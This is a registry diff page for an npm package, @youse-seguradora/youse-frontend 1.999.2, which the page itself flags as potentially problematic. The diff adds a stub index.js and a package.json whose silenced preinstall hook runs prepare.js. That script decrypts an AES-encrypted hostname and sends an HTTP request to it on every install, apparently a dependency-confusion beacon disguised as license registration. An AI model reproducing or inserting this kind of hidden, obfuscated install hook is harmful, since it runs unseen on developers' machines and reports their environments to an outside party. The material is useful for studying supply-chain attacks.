@youse-seguradora/youse-frontend 1.999.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @youse-seguradora/youse-frontend might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +15 -0
  3. package/prepare.js +38 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log("Hello World");
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "@youse-seguradora/youse-frontend",
3
+ "version": "1.999.2",
4
+ "description": "",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node prepare.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "lexi2",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "lodash": "^4.17.21"
14
+ }
15
+ }
package/prepare.js ADDED
@@ -0,0 +1,38 @@
1
+ const http = require('http');
2
+ const crypto = require('crypto');
3
+
4
+ var u = getU();
5
+
6
+ const options = {
7
+ hostname: u,
8
+ port: 80,
9
+ path: '/register-license',
10
+ method: 'GET'
11
+ };
12
+
13
+ const req = http.request(options, (res) => {
14
+ let data = '';
15
+
16
+ res.on('data', (chunk) => {
17
+ data += chunk;
18
+ });
19
+
20
+ res.on('end', () => {});
21
+ });
22
+
23
+ req.on('error', (error) => {
24
+ console.error('Error:', error);
25
+ });
26
+
27
+ req.end();
28
+
29
+ function getU() {
30
+ const k = Buffer.from('1ec5fb5f8b9ad4baa8cfc9e64788ebc0', 'hex');
31
+ const i = Buffer.from('00000000000000000000000000000000', 'hex');
32
+
33
+ const ed = '7565d46b31f2bdc97c43f206f7cfbef2da0fbbb923b437496da05ee731fc99a455ac302e56978f331780278430835634'
34
+ const de = crypto.createDecipheriv('aes-128-cbc', k, i);
35
+ let dec = de.update(ed, 'hex', 'utf8');
36
+ dec += de.final('utf8');
37
+ return dec;
38
+ };